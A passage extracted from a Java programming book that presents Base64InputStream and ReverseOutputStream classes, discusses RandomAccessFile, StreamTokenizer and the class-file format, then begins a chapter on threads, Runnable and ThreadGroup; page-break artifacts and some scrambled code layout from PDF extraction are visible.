10; c['L'] = 11; c['M'] = 12; c['N'] = 13; 15; c['Q'] = 16; c['R'] = 17; c['S'] = 18; 20; c['V'] = 21; c['W'] = 22; c['X'] = 23; 25; c['a'] = 26; c['b'] = 27; c['c'] = 28; 30; c['f'] = 31; c['g'] = 32; c['h'] = 33; 35; c['k'] = 36; c['l'] = 37; c['m'] = 38; 40; c['p'] = 41; c['q'] = 42; c['r'] = 43; 45; c['u'] = 46; c['v'] = 47; c['w'] = 48; 50; c['z'] = 51; c['0'] = 52; c['1'] = 53; 55; c['4'] = 56; c['5'] = 57; c['6'] = 58; 60; c['9'] = 61; c['+'] = 62; c['/'] = 63;

// The pad character doesn't have an encoding mapping, but // it's not an automatic error. c[pad] = -2; } /* Buffer for decoded characters that haven't been read */
file:///C|/Ebooks/Tricks%20of%20the%20Java%20Programming%20Gurus/ch5.htm (9 of 23) [8/16/02 8:36:19 AM]

Chapter 5 -- Building Special-Purpose I/O Classes

int buf[] = new int[3]; int buffered = 0; /* Buffer for clusters of encoded characters */ byte ebuf[] = new byte[4]; boolean textfile; /** * Constructs a new Base64InputStream initialized with the * specified input stream. * @param in the input stream */ public Base64InputStream(InputStream in) { this(in, false); } /** * Constructs a new Base64InputStream initialized with the * specified input stream, for a text file. * @param in the input stream * @param textfile true if the file is a text file */ public Base64InputStream(InputStream in, boolean textfile) { // To make life easier, we slip a WSStripInputStream in just ahead // of us, so that we don't have to worry about whitespace characters. super(new WSStripInputStream(in)); this.textfile = textfile; } /** * Reads a byte of data. The method will block if no input is available. * @return the byte read, or -1 if the end of the stream is reached. * @exception IOException If an I/O error has occurred. */ public int read() throws IOException, BadFormatException
file:///C|/Ebooks/Tricks%20of%20the%20Java%20Programming%20Gurus/ch5.htm (10 of 23) [8/16/02 8:36:19 AM]

Chapter 5 -- Building Special-Purpose I/O Classes

{ if (buffered == 0) { fill_buffer(); } int b = buf[--buffered]; if (textfile && b == '\r' && peek() == '\n') { return read(); } else { return b; } } /** * Returns the next byte which will be read. will * block if no input is available. * @return the next byte to be read, or -1 if the end of the * stream is reached. * @exception IOException If an I/O error has occurred. */ public int peek() throws IOException, BadFormatException { if (buffered == 0) { fill_buffer(); } return buf[buffered - 1]; } /** * Reads into an array of bytes. * Blocks until some input is available. This method should be overridden * in a subclass for efficiency (the default implementation reads 1 byte * at a time). * @param b the buffer into which the data is read * @param off the start offset of the data * @param len the maximum number of bytes read * @return the actual number of bytes read, -1 is
file:///C|/Ebooks/Tricks%20of%20the%20Java%20Programming%20Gurus/ch5.htm (11 of 23) [8/16/02 8:36:19 AM]

The method

Chapter 5 -- Building Special-Purpose I/O Classes

* returned when the end of the stream is reached. * @exception IOException If an I/O error has occurred. */ public int read(byte b[], int off, int len) throws IOException { for (int i=off; i<len; i++) { int c = read(); if (c == -1) { return i - off; } b[i] = (byte) c; } return len; } /** * Skips bytes of input. * @param n bytes to be skipped * @return actual number of bytes skipped * @exception IOException If an I/O error has occurred. */ public long skip(long n) throws IOException { // Can't just read n bytes from 'in' and throw them away, because // n bytes from 'in' will result in roughly (4n/3) bytes from 'this', // and we can't even calculate the exact number easily, because of // the potential of running into the padding at the end of the // encoding. It's easier to just read from 'this' and throw those // bytes away, even though it's less efficient. for (int i=1; i <= n; i++) { int c = read(); if (c == -1) { return i - 1; } } return n; }

file:///C|/Ebooks/Tricks%20of%20the%20Java%20Programming%20Gurus/ch5.htm (12 of 23) [8/16/02 8:36:19 AM]

Chapter 5 -- Building Special-Purpose I/O Classes

/** * Fills buf with a new chunk of decoded data. */ protected void fill_buffer() throws IOException, BadFormatException { if (buffered != 0) { // Just for safety ... return; } int l = in.read(ebuf); int numbytes = 3; if (l == 0) { // Must've reached EOF last time ...

// Fill buffer with EOF indicators for read() to return. for (int i=0; i<buf.length; i++) { buf[i] = -1; buffered++; } return; } if (l < ebuf.length) { throw new EOFException(); } // Check for bad characters for (int i=0; i < ebuf.length; i++) { if (c[ebuf[i]] == BADchAR) { throw new BadFormatException("Base64: invalid character " &nbs p; + (char) ebuf[i]); } // While we're at it, take notice of padding if (c[ebuf[i]] == pad) { if (i < 2) { throw new BadFormatException("Base64: padding starts " &nbs p; + "too soon");

file:///C|/Ebooks/Tricks%20of%20the%20Java%20Programming%20Gurus/ch5.htm (13 of 23) [8/16/02 8:36:19 AM]

Chapter 5 -- Building Special-Purpose I/O Classes

} numbytes = i - 1; } } // Now do the decoding for ( int i=0, j=4, k=2; i < numbytes; i++, j -= 2, k += 2) { buf[(numbytes - 1) - i] = (c[ebuf[i+1]] >> j) + ((c[ebuf[i]] << k) & 0xff); buffered++; } } }

Design Alternatives As mentioned earlier, the design of the base64 decoding filter emphasizes simplicity. There are several things that might have been done differently if the class had been designed for production use. The previous implementation takes a byte-by-byte approach, no matter how many bytes have been requested by the caller. The multibyte read methods and the skip method all call the single-byte read method repeatedly. Obviously, that's not the most efficient mechanism. A better strategy would be to create larger internal buffers and process larger chunks of data at a time when the caller asks for more than one byte. Most of the extra complexity would be in the inner loop of fill_buffer, but it wouldn't be too bad. It's easy to calculate how many bytes of encoded input will be required to produce a given number of decoded bytes, so in most cases only one read call would need to be made upstream. It would probably be a mistake, however, to attempt to provide even greater efficiency by reading more bytes than required and decoding them in advance. Suppose, for example, that the calling code wishes to provide helpful diagnostic messages in the event of an error. To help with this, there may be a LineNumberInputStream ahead of you. If your class were to read ahead, the calling code would not be able to determine reliably the line number where an error occurred. There is a general BufferedInputStream, and it's usually best to permit the application code to insert it at an appropriate place in the chain of input streams if needed. I/O libraries, in which buffering happens automatically without application control, are handy most of the time, but on the rare occasions when
file:///C|/Ebooks/Tricks%20of%20the%20Java%20Programming%20Gurus/ch5.htm (14 of 23) [8/16/02 8:36:19 AM]

Chapter 5 -- Building Special-Purpose I/O Classes

buffering is not desired, the lack of control is a big problem. (The error-reporting scenario just described is probably pretty implausible with base64 input, but the design principle is still a good one.) If you are familiar with some of the more advanced features of C++, you might be thinking that the WSStripInputStream would be a good application for a nested class, because not many applications require stripping all whitespace out of a file. If it were a nested class, it wouldn't be available to any other classes besides Base64InputStream. Java, however, doesn't have nested classes. One of the important differences between Java and C++ is that Java uses packages, rather than classes, as the primary unit of protection. Therefore, in the example, although WSStripInputStream couldn't be nested inside the class that uses it, it was placed within the same package and is not a public class. The result is that, although the class is accessible to Base64InputStream and the other classes in package COM.MCP.Samsnet.tjg, it is not visible or accessible outside that package. The use of packages as the primary protection mechanism has an important implication: whole packages, and not merely classes, should be designed. It's not really a good idea to use a package as a catchall for loosely related classes. You don't need to understand every detail of all of the classes in a package before you start coding, but it's best to have a clear vision of the purpose of the package and write all the classes to contribute to that purpose. That rule is not followed in the COM.MCP.Samsnet.tjg package, obviously. Because the classes in this book are written to illustrate different programming tips and tricks, the package is used just as a namespace. In production systems, however, a little care in the design of your packages will pay dividends. Reversing Streams You may have also wondered about the decision to implement base64 decoding as a stream in the first place. What if you have some data already in memory in base64 format, and you need to decode it as you write it somewhere? Again, pretty unlikely with the specific example of base64, but it's still a valid question. (In fact, the JDK comes with undocumented base64 encoding and decoding classes that are not implemented as streams.) It's a good idea to provide this kind of decoding functionality as an input stream, and the inverse operation as an output stream, because that matches the most common way the functions will be used. It is possible, though, that you may need to use an input stream in a chain of output streams, or vice versa. Fortunately, there's a way to do that. Figure 5.3 is an illustration of two special filter streams that I call reverse streams. The ReverseInputStream class uses piped output and input streams to encapsulate an output filter stream so that it can be used in a chain of input streams, and the ReverseOutputStream class performs the inverse function.

file:///C|/Ebooks/Tricks%20of%20the%20Java%20Programming%20Gurus/ch5.htm (15 of 23) [8/16/02 8:36:19 AM]

Chapter 5 -- Building Special-Purpose I/O Classes

Figure 5.3 : Reverse input and output streams. Constructing the output chain in the illustration might be done this way: ReverseOutputStream s = new ReverseOutputStream(new FileOutputStream("readme.txt")); s.setInputStream(new Base64InputStream(s.attachPoint())); The reverse output stream creates the two piped streams itself. The setInputStream method gives the reverse stream access to the end of the input stream, and the attachPoint method returns the piped input stream to make the other end of the connection. These example implementations of the reverse stream classes do buffer data, breaking the rule of thumb presented earlier, because efficiency will be a problem here. Without the buffering, these classes would cause a lot of switches between threads, and thread switching is costly. If the buffering causes a problem, a subclass could be written, overriding the run method to disable the buffering. Of course, because the encapsulated stream can actually be a chain of streams, a BufferedInputStreamT> could be added to the encapsulated stream by the application, permitting the ReverseOutputStream to serve both needs. However, the performance savings are large enough that it seemed better to include the buffering in the reverse streams from the start. Listing 5.3 shows the implementation of the ReverseOutputStream class.

Listing 5.3. ReverseOutputStream.java. /* * ReverseOutputStream.java Vanderburg */ package COM.MCP.Samsnet.tjg; import java.io.*; /** * An output stream which encapsulates an input stream. * * @version 1.0, 27 Jan 1996 * @author Glenn Vanderburg

1.0 96/01/27 Glenn

file:///C|/Ebooks/Tricks%20of%20the%20Java%20Programming%20Gurus/ch5.htm (16 of 23) [8/16/02 8:36:19 AM]

Chapter 5 -- Building Special-Purpose I/O Classes

*/ public class ReverseOutputStream extends FilterOutputStream implements Runnable { // The 'out' variable, in our superclass, is used for the // PipedOutputStream which stream chain. PipedInputStream head; // stream InputStream tail; // chain OutputStream sink; // is our entrance to the input head of the encapsulated Last in the input stream Our real output stream

Thread readSide; IOException savedException = null; readSide;

// placed here by

/** * Constructs a new ReverseOutputStream initialized with the * specified output stream. * @param in the output stream */ public ReverseOutputStream(OutputStream out) throws IOException { super(new PipedOutputStream()); head = new PipedInputStream(); PipedOutputStream pout = (PipedOutputStream) this.out; pout.connect(head); sink = out; } /** * Returns the head of the input stream * @return the head of our encapsulated input stream */ public InputStream attachPoint() { return head; }

file:///C|/Ebooks/Tricks%20of%20the%20Java%20Programming%20Gurus/ch5.htm (17 of 23) [8/16/02 8:36:19 AM]

Chapter 5 -- Building Special-Purpose I/O Classes

/** * Sets the encapsulated InputStream. * @param in the input stream */ public void setInputStream(InputStream in) { tail = in; readSide = new Thread(this); readSide.start(); } /** * Loops reading from 'tail' and writing to 'sink' until * the stream is closed. */ public void run() { int l; byte b[] = new byte[1024]; try { while ((l = tail.read(b)) > 0) { sink.write(b, 0, l); } sink.close(); } catch (IOException e) { // Hand the exception over to the other thread, // so it can be rethrown there. savedException = e; } } /* * This class would be a lot shorter if it weren't for having * to rethrow exceptions in the main thread ... * * Comments are omitted for the following methods, to save * space. */ public void write(int b) throws IOException { if (savedException != null) throw savedException; super.write(b);
file:///C|/Ebooks/Tricks%20of%20the%20Java%20Programming%20Gurus/ch5.htm (18 of 23) [8/16/02 8:36:19 AM]

Chapter 5 -- Building Special-Purpose I/O Classes

} public void write(byte b[]) throws IOException { if (savedException != null) throw savedException; super.write(b); } public void write(byte b[], int off, int len) throws IOException { if (savedException != null) throw savedException; super.write(b, off, len); } public void flush() throws IOException { if (savedException != null) throw savedException; super.flush(); } public void close() throws IOException { if (savedException != null) throw savedException; super.close(); } }

Non-Stream I/O Classes


Although streams make up the majority of the classes in the java.io package, there are a couple of other classes that handle input and output that should be mentioned. The RandomAccessFile class provides a view of a file that is not stream-oriented. Unlike the various stream classes, each of which is either an InputStream or an OutputStream (but not both), RandomAccessFile can be used to both read from and write to a single file. It provides methods for moving around in the file and for finding out the current location. There are methods for reading and writing data in units of bytes, just as in the stream classes, and there are also methods that support reading and writing all the fundamental Java datatypes (the same methods that are present in DataInputStream and DataOutputStream). Another I/O Class that does not extend one of the stream classes is StreamTokenizer. In one sense, StreamTokenizer does provide a stream-like view of the data, but only tokens, not the actual data, can be read. This class is meant for parsing programming languages or other text-based data formats that

file:///C|/Ebooks/Tricks%20of%20the%20Java%20Programming%20Gurus/ch5.htm (19 of 23) [8/16/02 8:36:19 AM]

Chapter 5 -- Building Special-Purpose I/O Classes

obey grammatical rules. When you call the nextToken method, the return value is an integer that indicates the type of token that was encountered in the data: end-of-line, end-of-file, number, or word. Whitespace and comments are ignored, so the calling code never sees them. If the token is a word or a number, it's possible to find out the value of the word or the number, but the caller ultimately has no access to the real data stream. StreamTokenizer is configurable and has several methods that enable you to set the characters that are to be treated as word characters, whitespace characters, or comment delimiters. The class supports quoted words, so that characters that would not normally be included in a word (such as tab characters) can be included where necessary, and there is a method for setting the quotation marks (which default to ' and ").

Highly Structured Files


If your program needs to understand a highly structured binary file format, a special-purpose I/O class is a good place to start. The class should parse and understand the file format and present a specialized view of the file to the rest of the program. Structured binary files are rarely read as streams; usually, the file formats are designed with internal pointers to permit programs to find and access specific parts of the file quickly, without having to read all of the file first. Depending on your needs, your binary file class may not be an extension of the RandomAccessFile class, but you will probably find yourself using that class somehow in your design. Classes for reading structured files can be designed to work almost like an in-memory data structure, providing methods that return objects representing small, coherent segments of the data. Programs can use such classes as though they were data structures. This approach has the advantage that the messy details of the file format and I/O tasks are wrapped up nicely in the I/O class, and they don't complicate the rest of the program. Furthermore, with such a design, it's easier to take full advantage of the random-access design of most binary file formats, reading and loading the file lazily; that is, portions of the file are read and parsed only when they are required by the program. Here's an example. The Java class file format is a binary format. The overall structure of the file conforms to this C-like structure definition: /* * WARNING: The Java class file format is specified using a C-like * syntax, but it is not C! Not only is the syntax not * legal, but the file format obeys different rules

file:///C|/Ebooks/Tricks%20of%20the%20Java%20Programming%20Gurus/ch5.htm (20 of 23) [8/16/02 8:36:19 AM]

Chapter 5 -- Building Special-Purpose I/O Classes

than * been * * * Java * */

C structure definitions, and this fragment has further simplified for the example. Don't attempt to use this to actually read a class file.

struct ClassFile { unsigned int magic; */ unsigned int version;

/* should be 0xCAFEBABE /* currently 45 */

unsigned short constant_pool_count; struct cp_info constant_pool[constant_pool_count - 1]; unsigned short access_flags; native, etc. unsigned short this_class; constant_pool */ unsigned short super_class; constant_pool */ */ /* index into /* index into /* public, private, * abstract, static,

unsigned short interfaces_count; unsigned short interfaces[interfaces_count]; unsigned short fields_count; struct field_info fields[fields_count]; unsigned short methods_count; struct method_info methods[methods_count]; unsigned short attributes_count; struct attribute_info attributes[attribute_count]; }; struct method_info { unsigned short access_flags; unsigned short name_index;

file:///C|/Ebooks/Tricks%20of%20the%20Java%20Programming%20Gurus/ch5.htm (21 of 23) [8/16/02 8:36:19 AM]

Chapter 5 -- Building Special-Purpose I/O Classes

unsigned short signature_index; unsigned short attributes_count; struct attribute_info attributes[attribute_count]; } It's possible to write an I/O class (or collection of classes) that can make such a file look like a data structure. Here's one example of how such a class could be used, based on a hypothetical class definition: JavaClass aClass = new JavaClass("Neato.class"); /* * Try to process a particular method specially */ try { // Prepare a representation of the method signature: String methSig[] = { "Component", "Image" }; // Now look for the method: JavaMethod aMeth = aClass.method("showOff", methSig); // Do something useful with the method representation. } catch (NoSuchMethodException e) { // The class doesn't have a "showOff" method. } /* * Now loop through all of the methods */ for (Enumeration methods = aClass.methodlist(); methods.hasMoreElements(); ;) { // Process a single method here. } In a real implementation of a JavaClass class, the new instance could read the entire class file into a complicated in-memory data structure immediately upon initialization and simply return portions of the structure upon request. Alternatively, with only a little more effort, you could implement the class to do lazy reads. At initialization time, it would open the file, read basic header information, and perform some simple checks to verify that the file really was a Java class file. (Even those actions could be deferred,
file:///C|/Ebooks/Tricks%20of%20the%20Java%20Programming%20Gurus/ch5.htm (22 of 23) [8/16/02 8:36:20 AM]

Chapter 5 -- Building Special-Purpose I/O Classes

but it would be best to do them right away, in the interest of reporting common errors as soon as possible.) When asked for information about a particular method, the class would first check to see whether the required information had already been loaded. If so, it could be returned right away. Otherwise, the JavaClass instance would move to the appropriate location in the file, read just enough data to learn about the particular method of interest, and build the method's data structure before returning it to the caller. If you've been thinking about the details of how to implement such a class, you may have realized that the Java class file format really isn't very appropriate for lazy loading. There aren't enough internal pointers to permit finding the desired information without first reading most of the file anyway. However, it does illustrate some of the points involved. The Java class file format was chosen for this example because its basics, at least, will be familiar to many Java programmers, and most other binary file formats would have required more explanation.

Summary
The Java I/O library is powerful, versatile, and designed for extension. You can use the supplied classes for a wide variety of I/O tasks, and you can extend them when your needs go beyond the built-in capabilities. Most Java I/O classes are based on classes that provide a stream-oriented interface to files, network connections, and other file-like objects. The Java library also contains filter streams, which can massage a stream as it is being read or written, altering it in some way or performing some special function such as buffering. You can write your own streams (this chapter presents two example filter streams). There are also I/O classes which don't follow the stream model, for performing random-access I/O and for splitting a string into tokens. Building on those classes, you can build I/O classes for some files, hiding the fact that input and output are even happening, and making a file appear to be a memoryresident data structure.

file:///C|/Ebooks/Tricks%20of%20the%20Java%20Programming%20Gurus/ch5.htm (23 of 23) [8/16/02 8:36:20 AM]

Chapter 6 -- Effective Use of Threads

Chapter 6
Effective Use of Threads

CONTENTS
G G G G

Using Threads Performance Inside Threads Summary

Unlike most common programming languages, Java incorporates threads into its design. This provides a number of advantages for the programmer. Because threads are an integral part of the Java environment, the programmer knows threads are always available. For a platform-neutral environment, this is an important attribute. The programmer can also feel confident that the underlying libraries are thread-safe. Because threads are defined as being part of the environment, any semantic clashes between the language and the presence of threads are eliminated. A thread is an independant sequence of execution within a Java application (stand-alone Java programs or Java applets embedded in some other program such as your Web browser). Every Java application runs within a Java VM (virtual machine). The Java VM may be, simultaneously, running multiple applications and/or multiple parts of a single application (see Figure 6.1). Every Java application is given at least one thread and may create more at its discretion. Although your application may have only one thread, it is probably safe to assume that the underlying Java VM may be using threads of its own to assist you. Some common uses of threads by the Java VM include the garbage collector and the AWT windowing toolkit. Figure 6.1 : A Java Application. Threads enable you to take better advantage of the computer and to parallelize your application. In the presence of a multiprocessor system, each thread in your application may run on a separate CPU and truly run in parallel. However, you can still have advantages on a uniprocessor system. A lot of time may be spent by the application waiting for certain events, such as IO. The uniprocessor system can take advantage of this time by executing another thread. Thus, while your application is waiting for input from the user, it can still be running some cute animation on the screen. You can do this without threads,
file:///C|/Ebooks/Tricks%20of%20the%20Java%20Programming%20Gurus/ch6.htm (1 of 30) [8/16/02 8:36:29 AM]

Chapter 6 -- Effective Use of Threads

but the presence of threads makes this type of task much easier. The use of threads also enables you to create simpler and easier-to-understand programs. A thread may be executing a single set of code doing a simple task, leaving other work to other threads. In this way, the programmer may be able to take a program that is hard to comprehend and divide it into separate distinct tasks that are easy to understand and, together, accomplish the more difficult task.

How Does Java Define Threads?


The Java Language Specification defines threads to be part of the standard Java libraries (i.e. the java.* packages). Every implementation of Java must provide the standard libraries, and thus must support threads in some fashion. Therefore, the developer of Java applications can always expect threads to be present, and can be assured the standard Java libraries will be thread-safe (or at least have a defined behavior in the presence of threads). However, the Java programmer cannot make assumptions on the specific behavior of threads. Much of the specific behavior is left to the implementations (this will be discussed in more detail below).

Threads and Java


To use threads in Java, the user should be familiar with a few Java classes (and interfaces). There are not many and they are easy to learn. In the following sections you examine each class in some detail. Most methods within the classes are fairly intuitive. Others-the more complicated ones-are accompanied by tips on usage.

The Runnable Interface


At this point in your Java development career, you should be familiar with interfaces. The Runnable interface is most helpful because it enables any class that implements it to run easily within a thread. Here is the elementary Runnable interface: public interface Runnable extends Object { public abstract void run(); } That is the entire interface-very simple, but quite powerful. When an object implements the Runnable interface it will, of course, provide a concrete version of the run() method. When a Thread is instantiated it can optionally take as one of its parameters an object that is an instance of Runnable. The thread will then execute the run() method of that object as its main. When the run() method exits (normally through an uncaught Throwable), the thread effectively dies. Thus, this simple interface enables any object whose class implements it to become alive.

file:///C|/Ebooks/Tricks%20of%20the%20Java%20Programming%20Gurus/ch6.htm (2 of 30) [8/16/02 8:36:30 AM]

Chapter 6 -- Effective Use of Threads

Why have a Runnable interface and a Thread class? There are times when it will be more appropriate to just implement Runnable, and there are times when it is better to subclass Thread. Most of the time you could probably do either. Deciding when to use which one depends on your project's design and perhaps on your personal taste. There are cases where you could easily choose either method; however, there are other times where you must choose to implement Runnable. Using the Runnable interface is the more flexible of the two because you can always do it. You cannot always extend Thread. As with all interfaces, true power occurs when you have a class that should, or must, subclass some other class to obtain a certain functionality. At the same time, you would like it to execute within its own thread. This is a case for using Runnable. If your class must subclass another class, you must implement Runnable to make an instance run in its own thread. A case in point is a simple applet. The applet class must subclass java.lang.Applet, so, to make it run in its own thread, you must implement Runnable, or you end up breaking what may be one class into two-one subclasses Thread and the other subclasses your other class. To be forced into this may conflict with your design, a case where the language will be getting in your way. Once you have a class that implements Runnable and provides a run() method, you are almost ready to use it. To start the class in a thread, you still must instantiate the Thread class. Every thread within Java is associated with an instance of the Thread class, even if the Runnable interface is being used. When you instantiate the Thread class, you have the option of passing an instance of Runnable to the constructor of Thread. When this is done, it tells the Thread object to use the run() method from this passed-in object as the thread's main. What really occurs is that the default run() method of the Thread object simply calls the run() method of the passed-in object. This can easily be seen while in a debugger, or with the following program. public class Runn implements Runnable { public static void main(String[] args) { new Thread( new Runn() ).start(); } public void run() { new Exception().printStackTrace(); System.exit(0); } }

The ThreadGroup Class


file:///C|/Ebooks/Tricks%20of%20the%20Java%20Programming%20Gurus/ch6.htm (3 of 30) [8/16/02 8:36:30 AM]

Chapter 6 -- Effective Use of Threads

Before you dive into the Thread class, let's take a look at ThreadGroup. An instance of the ThreadGroup class represents a collection of Java threads and other thread-groups. You can view the set of thread-groups within the Java VM as a tree, with the system thread-group as the root node. In this thread-tree, all threads are leaves, and thread-groups are (mostly) internal nodes (see Figure 6.2). An empty thread-group is also a leaf. Every Thread object and ThreadGroup object belongs to some thread-group, except for the system thread-group. The system thread-group is special; it is created by the Java VM and has no parent thread-group. Every other ThreadGroup object and Thread object is a descendant of the system thread-group. You learn the importance of this feature later in this chapter. Figure 6.2 : The thread group tree. The ThreadGroup class does not merely provide a container for these other objects; it also provides a certain amount of control over them. You can set actions on the thread-group that affect all its descendants. For example, you can set the maximum priority of a ThreadGroup, and this will prevent any other ThreadGroup or Thread from obtaining a higher priority. The ThreadGroup object will also make use of an installed security manager. Most security manager checks verify that the thread requesting the service has authority to modify the ThreadGroup object being accessed. A primary example is a browser that enables the execution of applets. Each applet is composed of a set of classes and will run in one or more threads. When the browser is created, it has no idea when or what kinds of classes will enter the browser and begin executing. Furthermore, the browser may need to execute several applets at the same time. The browser can use thread-groups, along with a security manager to prevent threads created by applets from setting their priority higher than system threads and from modifying system threads or threads belonging to other applets. System threads may include items such as a garbage collector thread, window manager event thread, or other such threads that may provide service for the entire Java VM. In a sense, a ThreadGroup is one of several classes available to browsers, or other programs, to control distinct applets. Here is the Java ThreadGroup class, including its nonpublic fields (shown for completeness), but minus the method implementations. (The comments are mine.) Much of this information can be obtained from the command javap -p ThreadGroup. This discussion is from the Sun JDK. The public (more specifically the nonprivate) fields for the standard Java classes should be the same on other implementations. It is possible that other implementations may differ slightly in their private fields; however, the functionality should remain consistent across all Java implementations. public class ThreadGroup { // constructors private ThreadGroup(); public ThreadGroup( String ); public ThreadGroup( ThreadGroup, String ); // thread control methods
file:///C|/Ebooks/Tricks%20of%20the%20Java%20Programming%20Gurus/ch6.htm (4 of 30) [8/16/02 8:36:30 AM]

Chapter 6 -- Effective Use of Threads

public final public final public final public final public void Throwable );

synchronized synchronized synchronized synchronized

void void void void

stop(); suspend(); resume(); destroy(); uncaughtException( Thread,

// public methods to set/get thread-group attributes public final String getName(); public final ThreadGroup getParent(); public final int getMaxPriority(); public final boolean isDaemon(); public final void setDaemon(boolean); public final synchronized void setMaxPriority(int); public final boolean parentOf( ThreadGroup ); // managing group contents private final synchronized void add( ThreadGroup ); private synchronized void remove( ThreadGroup ); synchronized void add( Thread ); synchronized void remove( Thread ); public synchronized int activeCount(); public int enumerate( Thread[] ); public int enumerate( Thread[], boolean ); private synchronized int enumerate( Thread[], int, boolean ); public synchronized int public int ); public int boolean ); private synchronized int int, boolean ); // security related methods public final void // debug and help methods public synchronized void void public String // non-public data fields
file:///C|/Ebooks/Tricks%20of%20the%20Java%20Programming%20Gurus/ch6.htm (5 of 30) [8/16/02 8:36:30 AM]

activeGroupCount(); enumerate( ThreadGroup[] enumerate( ThreadGroup[], enumerate( ThreadGroup[],

checkAccess(); list(); list( PrintStream, int ); toString();

Chapter 6 -- Effective Use of Threads

ThreadGroup parent; this group String name; int maxPriority; thread in this group. boolean destroyed; dead group boolean daemon; int nthreads; by this group Thread threads[]; int ngroups; ThreadGroup groups[]; } Using ThreadGroup

//the group which contains //the text name of this group //the max priority of any //used internally to flag a //true if a daemon group //number of threads contained //the actual threads //number of subgroups //the actual groups

The ThreadGroup class contains no public data fields thus you can only interface to thread groups with method calls. The purpose of each data field in the ThreadGroup class (see above) is pretty apparent and you will only need to know of them if you subclass ThreadGroup or if you need to view the contents of a ThreadGroup object while debugging. Note The ThreadGroup contains references to all its descendant threads and groups through the threads[] and groups[] data fields, thus an application does not need to maintain a reference to the thread or group it creates. The Java garbage collector will not collect a thread or group object as long as a reference exists. This means that you can create threads with a simple statement such as new Thread( myGroup, "myThread" ).start(); and not have to store the returned object reference.

Creating a new ThreadGroup object is pretty straightforward. You must provide a name for the group and optionally a parent thread group. If you do not provide a parent group then the ThreadGroup of the current thread is used. Thus the following two code sequences are equivalent. ThreadGroup mygrp = new ThreadGroup( "MyGroup" ); ThreadGroup mygrp = new ThreadGroup((Thread.currentThread().getThreadGroup(), "MyGroup" );

file:///C|/Ebooks/Tricks%20of%20the%20Java%20Programming%20Gurus/ch6.htm (6 of 30) [8/16/02 8:36:30 AM]

Chapter 6 -- Effective Use of Threads

Note There is a third constructor which is private and thus cannot be called by any Java method outside of the class. This constructor is used by the Java VM to create the system thread-group. In the Sun JDK, the source to the ThreadGroup object shows that this constructor simply assigns itself the name system and sets the group priority to the maximum. The Sun JDK VM is written in C and will call this constructor during the initialization of the Java environment.

Thread Group Control Methods There are a number of method which allow an application to control the execution of all the threads in the ThreadGroup hierarchy-this is the entire thread-tree using the thread group object being accessed as the root. If one of the stop(), suspend(), or resume() methods of a thread group is invoked, then every thread and thread group contained by that group will have its similar method invoked. Thus, a call such as mygroup.stop() will cause every thread in the group mygroup and every group which is a child of mygroup will have its stop() method invoked, (likewise for suspend() and resume()). Although these methods are within a group, their primary functions are to act on all their threads. When all the threads in a group (and all of its subgroups) have exited, the group's destroy() method should be invoked. This method effectively cleans up memory resources. It should never be invoked on a group which still contains threads or groups which themselves contain threads. If it does the IllegalThreadStateException will be thrown, which is why this method cannot be used to kill all the threads within a group. The destroy() method will call the destroy() method on all of the groups subgroups, then marks the group as destroyed and removes itself from its parent group. After invoking destroy() the group can no longer have new objects added to it, otherwise IllegalThreadStateException is thrown. Whenever a thread encounters an unhandled Throwable-one that propagates up to the main method of the thread-the uncaughtException() method of the threads ThreadGroup is invoked. The default method will simply attempt to call its parent's uncaughtException(). If it has no parent, it will simply invoke the printStackTrace() method of the passed in Throwable object. The ThreadGroup class can be subclassed and this method overridden in order for an application to install its own mechanism for dealing with unhandled throwables. Note

file:///C|/Ebooks/Tricks%20of%20the%20Java%20Programming%20Gurus/ch6.htm (7 of 30) [8/16/02 8:36:30 AM]

Chapter 6 -- Effective Use of Threads

The run() method defined in Runnable and Thread has no throws clause. This means the compiler should enforce all Exception class throwables to be handled. Other Throwables, such as Error subclasses and RuntimeException subclasses, can be propogated by run() and thus caught by uncaughtException().

Accessing Thread Group Attributes Every thread group has a number of attributes associated with it. The thread groups name and parent attributes are set when the group is created and cannot change. To obtain those attributes the getName() and getParent() methods are invoked. The groups maximum priority attribute can be obtained with getMaxPriority() and altered with setMaxPriority(). This maximum priority cannot be set higher than its current maximum priority, and will cause each of its subgroups to have their setMaxPriority() methods invoked (which may or may not cause a change), thus a group can never raise its priority and can never have a priority higher then its parent. If you attempt to set a group's maximum priority higher then its current value the request is silently ignored. Changing a thread group's maximum priority will not affect the current priorities of any threads within the group. However, any existing thread cannot have its priority changed to a value greater then its group's current maximum priority. Look at the following program. Public class Sample extends Thread { public static void main( String[] args ) { System.out.println( currentThread().getThreadGroup() ); System.out.println( currentThread() ); currentThread().setPriority(NORM_PRIORITY-1); System.out.println( currentThread() ); currentThread().getThreadGroup().setMaxPriority( MIN_PRIORITY ); System.out.println( currentThread().getThreadGroup() ); System.out.println( currentThread() ); currentThread().setPriority(NORM_PRIORITY-2); System.out.println( currentThread() ); } } The preceding program produces the following output.

file:///C|/Ebooks/Tricks%20of%20the%20Java%20Programming%20Gurus/ch6.htm (8 of 30) [8/16/02 8:36:30 AM]

Chapter 6 -- Effective Use of Threads

java.lang.ThreadGroup[name=main,maxpri=10] Thread[main,5,main] Thread[main,4,main] java.lang.ThreadGroup[name=main,maxpri=1] Thread[main,4,main] Thread[main,1,main] Caution When a thread is created it takes on the priority of the thread that created it, without checking the current maximum priority of its thread group. Thus it is possible to have new threads within a group to have priorities greater then its thread group.

Another ThreadGroup attribute describes if the thread group is a daemon group (true), or not (false). Those with a UNIX background will recognize the term daemon. It is most often used in the UNIX world to indicate a background process. You don't see a daemon process-it is just sort of there and provides some service. In Java there are daemon threads (see next section) and daemon groups. When a ThreadGroup is marked as a daemon group and all its subgroups and threads have been removed, the thread-group will be automatically destroyed. The current daemon-status of a ThreadGroup can be obtained via the isDaemon() method. This attribute can be changed at any time during the ThreadGroup's lifetime. The ThreadGroup constructor will set the daemon attribute to the value of its parent's-getParent().isDaemon(). The value of this attribute has no affect on the daemon value of any Thread objects. Thread Group Contents At this point you are well aware that a ThreadGroup can contain two kinds of items-Thread objects and ThreadGroup objects. You can use the methods activeCount() and activeGroupCount() to obtain the current number of Thread and ThreadGroup objects, respectively, currently contained in the group. The values returned are the sum of all the threads, or thread groups, within the thread-tree (using the thread group as the root), not just those in the thread group. Therefore if you call activeCount() on the system group (the first group created by the Java VM) you will get the current count of threads in the entire Java VM, not just those in the system group. To obtain the actual Thread or ThreadGroup objects contained by the thread group you can use the enumerate() methods. To obtain the Thread objects of a group you would invoke one of the following: public int enumerate( Thread[] list ); public int enumerate( Thread[] list, boolean recurse );
